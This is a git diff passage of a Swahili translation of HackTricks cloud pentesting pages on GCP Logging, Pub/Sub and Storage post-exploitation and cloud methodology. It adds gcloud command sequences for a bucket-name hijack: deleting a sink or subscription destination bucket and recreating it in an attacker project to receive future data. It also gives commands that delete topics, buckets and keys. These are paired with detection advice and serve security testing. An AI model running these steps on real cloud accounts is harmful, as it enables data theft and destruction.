+--member='serviceAccount:<SINK_WRITER_IDENTITY>' \
+--role='roles/storage.objectCreator' \
+--project <ATTACKER_PROJECT_ID>
+```
+**Athari Inayowezekana:** exfiltration ya kimya ya muda mrefu ya audit logs za baadaye, application logs, security telemetry, na matukio mengine yoyote yanayolingana na sink filter.
+
+**Utambuzi na Kupunguza:** toa alert juu ya kufutwa kwa buckets zinazorejelewa na active sinks, orodhesha sink destinations kwa bucket names zilizo dangling, zuia `storage.buckets.delete` kwenye logging destinations, na linda export buckets kwa retention/hold controls inapowezekana.
+
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
index fa0cf40de..a2455cd64 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
@@ -4,7 +4,7 @@
 
 ## Pub/Sub
 
-Kwa maelezo zaidi kuhusu Pub/Sub angalia ukurasa ufuatao:
+Kwa taarifa zaidi kuhusu Pub/Sub angalia ukurasa ufuatao:
 
 {{#ref}}
 ../gcp-services/gcp-pub-sub.md
@@ -12,11 +12,11 @@ Kwa maelezo zaidi kuhusu Pub/Sub angalia ukurasa ufuatao:
 
 ### `pubsub.topics.publish`
 
-Kuchapisha ujumbe kwenye topic, inafaa kwa **kutuma data isiyotegemewa** na kusababisha functionalities zisizotarajiwa au exploit vulnerabilities:
+Chapisha ujumbe katika topic, muhimu kwa **kutuma data isiyotarajiwa** na kuanzisha functionalities zisizotarajiwa au exploit vulnerabilities:
 
 <details>
 
-<summary>Chapisha ujumbe kwenye topic</summary>
+<summary>Chapisha ujumbe kwa topic</summary>
 ```bash
 # Publish a message in a topic
 gcloud pubsub topics publish <topic_name> --message "Hello!"
@@ -25,7 +25,7 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
 
 ### `pubsub.topics.detachSubscription`
 
-Inatumika kuzuia subscription isipokee ujumbe, labda ili kuepuka kugunduliwa.
+Inafaa kuzuia subscription isipokee messages, huenda ili kuepuka detection.
 
 <details>
 
@@ -37,8 +37,8 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
 
 ### `pubsub.topics.delete`
 
-Inafaa kuzuia subscription kupokea messages, labda ili kuepuka kugunduliwa.\
-Inawezekana kufuta topic hata ikiwa subscriptions zimeambatishwa nayo.
+Inafaa kuzuia subscription kupokea messages, labda ili kuepuka detection.\
+Inawezekana kufuta topic hata ikiwa kuna subscriptions zimeunganishwa nayo.
 
 <details>
 
@@ -50,11 +50,11 @@ gcloud pubsub topics delete <TOPIC NAME>
 
 ### `pubsub.topics.update`
 
-Tumia ruhusa hii kubadilisha baadhi ya mipangilio ya topic ili kuisumbua, kama `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
+Tumia permission hii kusasisha baadhi ya setting ya topic ili kuiharibu, kama `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
 
 ### `pubsub.topics.setIamPolicy`
 
-Jipe ruhusa kufanya yoyote ya mashambulizi yaliyotajwa hapo juu.
+Jipe permission ya kutekeleza mashambulizi yoyote ya awali.
 ```bash
 # Add Binding
 gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
@@ -84,22 +84,22 @@ gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
 ```
 ### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
 
-Pata ujumbe yote kwenye web server:
+Pata ujumbe wote katika web server:
 
 <details>
 
-<summary>Unda push subscription ili kupokea ujumbe</summary>
+<summary>Create push subscription to receive messages</summary>
 ```bash
 # Crete push subscription and recieve all the messages instantly in your web server
 gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
 ```
 </details>
 
-Tengeneza subscription na uitumie **pull messages**:
+Unda subscription na uitumie kwa **pull messages**:
 
 <details>
 
-<summary>Tengeneza pull subscription na upokee messages</summary>
+<summary>Unda pull subscription na pata messages</summary>
 ```bash
 # This will retrive a non ACKed message (and won't ACK it)
 gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
@@ -112,11 +112,11 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
 
 ### `pubsub.subscriptions.delete`
 
-**Futa usajili** inaweza kuwa muhimu kusababisha matatizo kwa mfumo wa usindikaji wa logi au kitu kinachofanana:
+**Futa subscription** could be useful to disrupt a log processing system or something similar:
 
 <details>
 
-<summary>Futa usajili</summary>
+<summary>Futa subscription</summary>
 ```bash
 gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
 ```
@@ -124,28 +124,61 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
 
 ### `pubsub.subscriptions.update`
 
-Tumia ruhusa hii kusasisha baadhi ya mipangilio ili ujumbe uhifadhiwe mahali unaweza kufikia (URL, Big Query table, Bucket) au tu kuuvuruga.
+Tumia ruhusa hii kusasisha baadhi ya mipangilio ili ujumbe uhifadhiwe mahali unaweza kufikia (URL, Big Query table, Bucket) au tu kuivuruga.
 
 <details>
 
-<summary>Mwisho wa kusasisha subscription</summary>
+<summary>Sasisha endpoint ya subscription</summary>
 ```bash
 gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
 ```
 </details>
 
+### Cloud Storage subscription bucket-name hijack - `storage.buckets.delete`
+
+Pub/Sub subscriptions zinaweza kuandika messages zilizowasilishwa ndani ya Cloud Storage buckets. Ikiwa subscription inaendelea kuelekeza kwenye `gs://<bucket-name>` na attacker anaweza kufuta bucket hiyo, attacker anaweza kuunda tena jina lilelile la bucket lenye uniqueness ya kimataifa katika project nyingine na kupokea messages zijazo bila kubadilisha subscription.
+
+Hii inaweza kuwa ya thamani wakati attacker hawezi kutumia `pubsub.subscriptions.update`, lakini anaweza kufuta destination bucket kwa permissions kama `storage.buckets.delete`, `storage.objects.delete`, na `storage.objects.list`.
+```bash
+# Find Cloud Storage subscriptions and their destinations
+gcloud pubsub subscriptions list --project <PROJECT_ID> \
+--format='json(name,topic,cloudStorageConfig)'
+
+# Empty and delete the destination bucket
+gcloud storage rm -r gs://<BUCKET_NAME>
+
+# Recreate the same bucket name under attacker control
+gcloud storage buckets create gs://<BUCKET_NAME> \
+--project <ATTACKER_PROJECT_ID> \
+--location <LOCATION>
+
+# Grant the Pub/Sub service agent write access if delivery requires it
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
+--role='roles/storage.objectCreator' \
+--project <ATTACKER_PROJECT_ID>
+
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
+--role='roles/storage.legacyBucketReader' \
+--project <ATTACKER_PROJECT_ID>
+```
+**Potential Impact:** exfiltration of future Pub/Sub messages archived to Cloud Storage, including application events, failed pipeline payloads, logs, or data lake ingestion records.
+
+**Detection & Mitigation:** alert on deletion of buckets used by Pub/Sub subscriptions, review subscriptions with `cloudStorageConfig`, watch for delivery errors followed by bucket recreation, and limit destructive access on message archival buckets.
+
 ### `pubsub.subscriptions.setIamPolicy`
 
-Jipa ruhusa zinazohitajika ili kutekeleza mojawapo ya mashambulizi yaliyotajwa hapo awali.
+Jipe ruhusa zinazohitajika ili kutekeleza mashambulizi yoyote yaliyotajwa hapo awali.
 
 ### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
 
-Ambatisha schema kwenye topic ili ujumbe usiukidhi, na hivyo kusababisha topic kuvurugika.\
-Kama hakuna schema yoyote unaweza kuhitajika kuunda moja.
+Ambatisha schema kwenye topic ili messages zisiiendeleze na hivyo topic ivurugike.\
+Ikiwa hakuna schemas unaweza kuhitaji kuunda moja.
 
 <details>
 
-<summary>Unda faili ya schema na uiambatishe kwenye topic</summary>
+<summary>Create schema file and attach to topic</summary>
 ```json:schema.json
 {
 "namespace": "com.example",
@@ -174,11 +207,11 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
 
 ### `pubsub.schemas.delete`
 
-Hii inaweza kuonekana kama kuondoa schema ili uweze kutuma ujumbe ambao hautatii schema. Hata hivyo, kwa kuwa schema itafutwa, ujumbe wowote hautaingia ndani ya topic. Kwa hivyo hii ni **HAINA FAIDA**:
+Hii inaweza kuonekana kama kufuta schema ili utaweza kutuma messages ambazo hazikidhi schema. Hata hivyo, kwa kuwa schema itafutwa, hakuna message itakayofika ndani ya topic. Hivyo, hii ni **BURE**:
 
 <details>
 
-<summary>Futa schema (hainufaiki)</summary>
+<summary>Delete schema (not useful)</summary>
 ```bash
 gcloud pubsub schemas delete <SCHEMA NAME>
 ```
@@ -186,15 +219,15 @@ gcloud pubsub schemas delete <SCHEMA NAME>
 
 ### `pubsub.schemas.setIamPolicy`
 
-Jipa ruhusa zinazohitajika ili kutekeleza yoyote ya mashambulizi yaliyotajwa hapo awali.
+Jipe mwenyewe ruhusa zinazohitajika kutekeleza shambulio lolote kati ya yaliyotajwa hapo awali.
 
 ### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
 
-Hii itaunda snapshot ya ujumbe wote ambao haujathibitishwa (unACKed) na kuwarudisha kwenye subscription. Si muhimu sana kwa mshambuliaji lakini hapa iko:
+Hii itaunda snapshot ya ujumbe wote ambao haujathibitishwa na kuwarejesha kwenye subscription. Sio muhimu sana kwa mshambuliaji lakini hapa iko:
 
 <details>
 
-<summary>Tengeneza snapshot na ufanye seek</summary>
+<summary>Create snapshot and seek to it</summary>
 ```bash
 gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
 --subscription=YOUR_SUBSCRIPTION_NAME
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
index fd3664bcc..3aa516333 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
@@ -4,15 +4,15 @@
 
 ## Cloud Storage
 
-Kwa maelezo zaidi kuhusu Cloud Storage angalia ukurasa huu:
+Kwa maelezo zaidi kuhusu CLoud Storage angalia ukurasa huu:
 
 {{#ref}}
 ../gcp-services/gcp-storage-enum.md
 {{#endref}}
 
-### Kutoa Ufikiaji wa Umma
+### Give Public Access
 
-Inawezekana kuwapa watumiaji wa nje (wakiingia kwenye GCP au la) ufikiaji kwa yaliyomo kwenye bucket. Hata hivyo, kwa chaguo-msingi chaguo la kufungua bucket kwa umma litakuwa limezimwa:
+Inawezekana kuwapa watumiaji wa nje (wameingia kwenye GCP au la) access kwa maudhui ya buckets. Hata hivyo, kwa chaguo-msingi bucket itakuwa imezimwa option ya ku-expose publicly bucket:
 ```bash
 # Disable public prevention
 gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -25,13 +25,13 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
 gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
 gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
 ```
-Ikiwa utajaribu kutoa **ACLs to a bucket with disabled ACLs** utapata kosa hili: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
+Ukijaribu kutoa **ACLs kwa bucket yenye ACLs zilizozimwa** utapata kosa hili: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
 
-Ili kufikia open buckets kupitia browser, nenda kwenye URL `https://<bucket_name>.storage.googleapis.com/` au `https://<bucket_name>.storage.googleapis.com/<object_name>`
+Ili kufikia open buckets kupitia browser, fungua URL `https://<bucket_name>.storage.googleapis.com/` au `https://<bucket_name>.storage.googleapis.com/<object_name>`
 
 ### `storage.objects.delete` (`storage.objects.get`)
 
-Kufuta object:
+Ili kufuta object:
 ```bash
 gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
 ```
@@ -41,9 +41,41 @@ Ili kufuta bucket:
 ```bash
 gcloud storage rm -r gs://<BUCKET_NAME>
 ```
-### Zima Vifunguo vya HMAC
+### Kuchukua jina la bucket la kimataifa kutoka kwa upstream writers
 
-Idhini `storage.hmacKeys.update` inaruhusu kuzima vifunguo vya HMAC, na idhini `storage.hmacKeys.delete` inaruhusu kitambulisho kufuta vifunguo vya HMAC vinavyohusishwa na akaunti za huduma katika Cloud Storage.
+Majina ya Cloud Storage bucket ni ya kipekee kimataifa. Kabla ya kufuta bucket, angalia kama huduma yoyote ya kiotomatiki inaendelea kuandika kwenye bucket hiyo kwa jina. Ikiwa bucket imefutwa na jina hilo hilo linaundwa upya katika project inayodhibitiwa na mshambuliaji, upstream writers kama Cloud Logging sinks, Pub/Sub Cloud Storage subscriptions, au Storage Transfer Service jobs huenda zikaendelea kuandika data ya baadaye kwenye bucket mbadala.
+```bash
+# Cloud Logging sinks using GCS
+gcloud logging sinks list --project <PROJECT_ID> \
+--format='table(name,destination,writerIdentity)'
+
+# Pub/Sub subscriptions writing messages into GCS
+gcloud pubsub subscriptions list --project <PROJECT_ID> \
+--format='json(name,topic,cloudStorageConfig)'
+
+# Storage Transfer Service jobs
+gcloud transfer jobs list --project <PROJECT_ID>
+
+# Delete and reclaim the destination bucket name
+gcloud storage rm -r gs://<BUCKET_NAME>
+gcloud storage buckets create gs://<BUCKET_NAME> \
+--project <ATTACKER_PROJECT_ID> \
+--location <LOCATION>
+```
+Toa ufikiaji wa writer identity husika kwenye replacement bucket ikiwa upstream service inahitaji:
+```bash
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='<WRITER_IDENTITY_MEMBER>' \
+--role='roles/storage.objectCreator' \
+--project <ATTACKER_PROJECT_ID>
+```
+**Athari Inayowezekana:** uchimbaji wa muda mrefu wa logs, messages, transfer outputs, backups, au data pipeline artifacts bila kubadilisha original router resource.
+
+**Detection & Mitigation:** chukulia bucket deletion kama high risk wakati bucket inareferenced na sinks/subscriptions/jobs, toa alert juu ya dangling destinations, zuia `storage.buckets.delete`, na tumia retention policies au legal holds kwa critical export buckets inapofaa.
+
+### Deactivate HMAC Keys
+
+Permission ya `storage.hmacKeys.update` inaruhusu disabling HMAC keys, na permission ya `storage.hmacKeys.delete` inaruhusu identity kufuta HMAC keys zinazohusishwa na service accounts katika Cloud Storage.
 ```bash
 # Deactivate
 gcloud storage hmac update <ACCESS_ID> --deactivate
@@ -52,19 +84,19 @@ gcloud storage hmac update <ACCESS_ID> --deactivate
 gcloud storage hmac delete <ACCESS_ID>
 ```
 ### `storage.buckets.setIpFilter` & `storage.buckets.update`
-Ruhusa ya `storage.buckets.setIpFilter`, pamoja na ruhusa ya `storage.buckets.update`, inampa kitambulisho uwezo wa kusanidi IP address filters kwenye Cloud Storage bucket, ikibainisha ni IP ranges au addresses zipi zinazoruhusiwa kufikia rasilimali za bucket.
+Ruhusa ya `storage.buckets.setIpFilter`, pamoja na ruhusa ya `storage.buckets.update`, inaruhusu identity kusanidi vichujio vya anwani za IP kwenye Cloud Storage bucket, ikibainisha ni IP ranges au anwani zipi zinazoruhusiwa kufikia resources za bucket.
 
 Ili kufuta kabisa IP filter, amri ifuatayo inaweza kutumika:
 ```bash
 gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
 ```
-Ili kubadilisha anwani za IP zilizochujwa, amri ifuatayo inaweza kutumika:
+Ili kubadilisha IPs zilizochujwa, amri ifuatayo inaweza kutumika:
 ```bash
 gcloud storage buckets update gs://<BUCKET_NAME> \
 --ip-filter-file=ip-filter.json \
 --project=<PROJECT_ID>
 ```
-Faili la JSON linawakilisha kichujio hicho chenyewe, kitu kama:
+Faili ya JSON inawakilisha filter yenyewe, kitu kama:
 ```bash
 {
 "mode": "Enabled",
diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md
index b6150349f..4dcecba51 100644
--- a/src/pentesting-cloud/pentesting-cloud-methodology.md
+++ b/src/pentesting-cloud/pentesting-cloud-methodology.md
@@ -4,37 +4,63 @@
 
 <figure><img src="../images/CLOUD-logo-letters.svg" alt=""><figcaption></figcaption></figure>
 
-## Mbinu za Msingi
+## Basic Methodology
 
-Kila cloud ina sifa zake za kipekee lakini kwa ujumla kuna mambo machache **ya kawaida msimamizi wa pentester anapaswa kuangalia** wakati anapofanya mtihani wa mazingira ya cloud:
+Kila cloud ina sifa zake za kipekee lakini kwa ujumla kuna mambo machache ya kawaida ambayo **pentester anapaswa kuangalia** wakati wa kupima mazingira ya cloud:
 
 - **Benchmark checks**
-- Hii itakusaidia **kuelewa ukubwa** wa mazingira na **services zinazotumika**
-- Pia itakuwezesha kupata baadhi ya **misconfigurations ya haraka** kwani unaweza kufanya nyingi ya hizi tests kwa kutumia **automated tools**
+- Hii itakusaidia **kuelewa ukubwa** wa mazingira na **services used**
+- Pia itakuruhusu kupata baadhi ya **quick misconfigurations** kwa kuwa unaweza kutekeleza vipimo vingi hivi kwa kutumia **automated tools**
 - **Services Enumeration**
-- Huenda usipate misconfiguration mingi zaidi hapa ikiwa umefanya benchmark tests ipasavyo, lakini unaweza kupata baadhi ambayo hayakutafutwa katika benchmark test.
-- Hii itakuwezesha kujua **ni nini hasa kinachotumika** katika mazingira ya cloud
+- Huenda usipate misconfigurations nyingi zaidi hapa ikiwa ulifanya benchmark tests kwa usahihi, lakini unaweza kupata baadhi ambazo hazikuhusishwa katika benchmark test.
+- Hii itakuruhusu kujua **ni nini hasa kinatumika** katika cloud env
 - Hii itasaidia sana katika hatua zinazofuata
 - **Check exposed assets**
-- Hii inaweza kufanywa wakati wa sehemu iliyopita, unahitaji **kubaini kila kitu kinachoweza kuwa exposed** kwa Internet kwa njia yoyote na jinsi kinavyoweza kufikiwa.
-- Hapa ninachukua **infrastructure iliyofunguliwa kwa mkono** kama instances zilizo na kurasa za wavuti au ports nyingine zilizo exposed, na pia kuhusu huduma nyingine zinazodhibitiwa na cloud ambazo zinaweza kusanidiwa kuwa exposed (kama DBs au buckets)
-- Kisha unapaswa kuangalia **je, rasilimali hiyo inaweza ku-expose au la** (taarifa za siri? vulnerabilities? misconfigurations katika service iliyo exposed?)
+- Hii inaweza kufanywa wakati wa sehemu iliyotangulia, unahitaji **kubaini kila kitu ambacho huenda kikawekwa wazi** kwa Internet kwa namna fulani na jinsi kinavyoweza kufikiwa.
+- Hapa ninamaanisha **manual exposed infrastructure** kama instances zenye kurasa za web au ports nyingine zilizowekwa wazi, na pia **other cloud managed services that can be configured** kuwa wazi (kama DBs au buckets)
+- Kisha unapaswa kuangalia **ikiwa resource hiyo inaweza kuwa exposed au la** (confidential information? vulnerabilities? misconfigurations in the exposed service?)
 - **Check permissions**
-- Hapa unapaswa **kubaini ruhusa zote za kila role/user** ndani ya cloud na jinsi zinavyotumiwa
-- Je, kuna akaunti nyingi zenye **privilege kubwa sana** (zinadhibiti kila kitu)? Keys zilizotengenezwa hazitumiwi?... Mengi ya haya maangalia yalipaswa kufanyika tayari katika benchmark tests
-- Ikiwa mteja anatumia OpenID au SAML au **federation** nyingine unaweza kuhitaji kuwauliza kwa undani zaidi **maalum** kuhusu **jinsi kila role inavyotengwa** (si sawa admin role ikipewa user 1 au user 100)
-- Haikuwa **vitu vya kutosha kupata** ni users gani wana **admin** permissions "\*:\*". Kuna **ruhusa nyingi nyingine** ambazo kulingana na services zinazotumika zinaweza kuwa za **nyeti**.
-- Zaidi ya hayo, kuna njia za **privesc** zinazoweza kufuatwa kwa kutumia maelezo hayo. Mambo yote haya yanapaswa kuzingatiwa na **viwango vingi vya privesc kadri liwezekanavyo** vinapaswa kuripotiwa.
+- Hapa unapaswa **kubaini permissions zote za kila role/user** ndani ya cloud na jinsi zinavyotumiwa
+- Accounts nyingi sana zenye **highly privileged** (control everything)? Generated keys ambazo hazitumiki?... Ukaguzi mwingi huu unapaswa kuwa tayari umefanywa katika benchmark tests
+- Ikiwa client anatumia OpenID au SAML au **federation** nyingine unaweza kuhitaji kuwaomba **information** zaidi kuhusu **jinsi kila role inavyotolewa** (sio sawa kwamba admin role imetolewa kwa user 1 au 100)
+- Haitoshi **kubaini** ni users gani wana permissions za **admin** "\*:\*". Kuna **other permissions** nyingi ambazo kulingana na services zinazotumiwa zinaweza kuwa **sensitive** sana.
+- Zaidi ya hayo, kuna njia za uwezekano za **privesc** zinazoweza kufuatwa kwa kutumia vibaya permissions. Mambo haya yote yanapaswa kuzingatiwa na **kadiri iwezekanavyo privesc paths** zinapaswa kuripotiwa.
 - **Check Integrations**
-- Inawezekana sana kwamba **integrations na clouds nyingine au SaaS** zinatumika ndani ya mazingira ya cloud.
-- Kwa **integrations za cloud unazochunguza** na platform nyingine unapaswa kuwajulisha **nani anaweza kufikia/ku(tya)abuse integration hiyo** na unapaswa kuuliza **ni kiasi gani kitendo hicho ni nyeti**.\
-Kwa mfano, nani anaweza kuandika katika bucket ya AWS ambapo GCP inapokea data kutoka (uliza jinsi kitendo hicho kinavyokuwa nyeti katika GCP linaposhughulikia data hiyo).
-- Kwa **integrations ndani ya cloud unazochunguza** zinazotoka kwenye platform za nje, unapaswa kuuliza **nani anaweza kufikia kwa nje ili ku(tya)abuse integration hiyo** na kuangalia jinsi data hiyo inavyotumiwa.\
-Kwa mfano, ikiwa service inatumia Docker image iliyohifadhiwa katika GCR, unapaswa kuuliza nani anaweza kuibadilisha na ni taarifa gani nyeti na access itakayopatikana kwa image hiyo ikichukuliwa ndani ya AWS cloud.
+- Kuna uwezekano mkubwa kuwa **integrations with other clouds or SaaS** zinatumika ndani ya cloud env.
+- Kwa **integrations za cloud unayokagua** na platform nyingine unapaswa kuonyesha **ni nani ana access ya (ab)use integration hiyo** na unapaswa kuuliza **jinsi action inayofanyika ilivyo sensitive**.\
+Kwa mfano, ni nani anaweza kuandika katika AWS bucket ambapo GCP inapata data kutoka (uliza jinsi action ilivyo sensitive katika GCP ikishughulikia data hiyo).
+- Kwa **integrations ndani ya cloud unayokagua** kutoka external platforms, unapaswa kuuliza **ni nani ana access externally ya (ab)use integration hiyo** na kuangalia jinsi data hiyo inavyotumiwa.\
+Kwa mfano, ikiwa service inatumia Docker image iliyohostiwa katika GCR, unapaswa kuuliza ni nani ana access ya kuibadilisha na ni sensitive info gani na access gani image hiyo itapata itakapotekelezwa ndani ya AWS cloud.
+
+### Hunt autonomous data streams writing to globally-unique storage
+
+Wakati wa post-exploitation, kagua exports za muda mrefu kama log sinks, subscriptions, replication jobs, Firehose streams, na diagnostic settings zinazoweka data kwenye buckets au storage accounts zenye globally-unique name. Ikiwa destination inaweza kufutwa na jina lilelile likaweza kuundwa tena chini ya udhibiti wa attacker, upstream service huenda ikaendelea kupeleka sensitive data kwenye destination mbadala hata wakati attacker hawezi kusasisha router resource yenyewe.
+
+Zingatia ukaguzi huu katika relevant service pages:
+
+{{#ref}}
+gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
+{{#endref}}
+
+{{#ref}}
+gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
+{{#endref}}
+
+{{#ref}}
+gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
+{{#endref}}
+
+{{#ref}}
+aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
+{{#endref}}
+
+{{#ref}}
+azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
+{{#endref}}
 
 ## Multi-Cloud tools
 
-Kuna zana kadhaa ambazo zinaweza kutumika kujaribu mazingira tofauti za cloud. Hatua za usakinishaji na links zitatolea katika sehemu hii.
+Kuna tools kadhaa ambazo zinaweza kutumika kupima mazingira tofauti ya cloud. Hatua za installation na links zitaonyeshwa katika sehemu hii.
 
 ### [PurplePanda](https://github.com/carlospolop/purplepanda)
 
@@ -71,7 +97,7 @@ python3 main.py -e -p google #Enumerate the env
 
 ### [Prowler](https://github.com/prowler-cloud/prowler)
 
-Inasaidia **AWS, GCP & Azure**. Angalia jinsi ya kusanidi kila mtoa huduma katika [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
+Inasaidia **AWS, GCP & Azure**. Angalia jinsi ya kusanidi kila provider katika [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
 ```bash
 # Install
 pip install prowler
@@ -146,7 +172,7 @@ done
 
 {{#tabs }}
 {{#tab name="Install" }}
-Pakua na sakinisha Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Au tumia Brew:
+Pakua na usakinishe Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Au tumia Brew:
 ```
 brew tap turbot/tap
 brew install steampipe
@@ -168,9 +194,9 @@ steampipe check all
 ```
 <details>
 
-<summary>Angalia Miradi Yote</summary>
+<summary>Angalia Projects Zote</summary>
 
-Ili kuangalia miradi yote unahitaji kutengeneza faili ya `gcp.spc` inayosema miradi yote ya kujaribu. Unaweza kufuata tu maelekezo kutoka kwa skripti ifuatayo
+Ili kuangalia projects zote unahitaji kutengeneza faili la `gcp.spc` linaloonyesha projects zote za kupima. Unaweza tu kufuata maelekezo kutoka kwenye script ifuatayo
 ```bash
 FILEPATH="/tmp/gcp.spc"
 rm -rf "$FILEPATH" 2>/dev/null
@@ -194,11 +220,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
 ```
 </details>
 
-Ili kuangalia **insights nyingine za GCP** (inayofaa kwa kuorodhesha huduma) tumia: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+Ili kuangalia **other GCP insights** (inafaa kwa kuorodhesha services) tumia: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
 
 Ili kuangalia Terraform GCP code: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
 
-Viendelezaji zaidi za GCP za Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
+Zaidi ya GCP plugins za Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
 {{#endtab }}
 
 {{#tab name="AWS" }}
@@ -225,24 +251,24 @@ cd steampipe-mod-aws-compliance
 steampipe dashboard # To see results in browser
 steampipe check all --export=/tmp/output4.json
 ```
-To check Terraform AWS msimbo: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
+To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
 
-Plugins zaidi za AWS za Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
+More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
 {{#endtab }}
 {{#endtabs }}
 
 ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
 
 AWS, GCP, Azure, DigitalOcean.\
-Inahitaji python2.7 na inaonekana haidumwi.
+Inahitaji python2.7 na inaonekana haidumishwi.
 
 ### Nessus
 
-Nessus ina skani ya _**Audit Cloud Infrastructure**_ inayounga mkono: AWS, Azure, Office 365, Rackspace, Salesforce. Inahitaji usanidi wa ziada kwenye **Azure** ili kupata **Client Id**.
+Nessus ina scan ya _**Audit Cloud Infrastructure**_ inayoauni: AWS, Azure, Office 365, Rackspace, Salesforce. Baadhi ya usanidi wa ziada katika **Azure** unahitajika ili kupata **Client Id**.
 
 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
 
-Cloudlist ni **chombo cha multi-cloud cha kupata Assets** (Hostnames, IP Addresses) kutoka kwa Cloud Providers.
+Cloudlist ni **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) kutoka kwa Cloud Providers.
 
 {{#tabs }}
 {{#tab name="Cloudlist" }}
@@ -265,7 +291,7 @@ cloudlist -config </path/to/config>
 
 ### [**cartography**](https://github.com/lyft/cartography)
 
-Cartography ni chombo cha Python kinachokusanya mali za miundombinu na uhusiano baina yao katika muonekano wa grafu unaoeleweka unaoendeshwa na hifadhidata ya Neo4j.
+Cartography ni zana ya Python inayounganisha assets za infrastructure na mahusiano kati yao katika mwonekano wa graph wa kirafiki unaoendeshwa na database ya Neo4j.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -302,7 +328,7 @@ ghcr.io/lyft/cartography  \
 
 ### [**starbase**](https://github.com/JupiterOne/starbase)
 
-Starbase hukusanya rasilimali na uhusiano kutoka kwa huduma na mifumo, ikijumuisha miundombinu ya cloud, programu za SaaS, udhibiti wa usalama, na zaidi, katika muonekano wa grafu unaoeleweka unaosimamiwa na hifadhidata ya Neo4j.
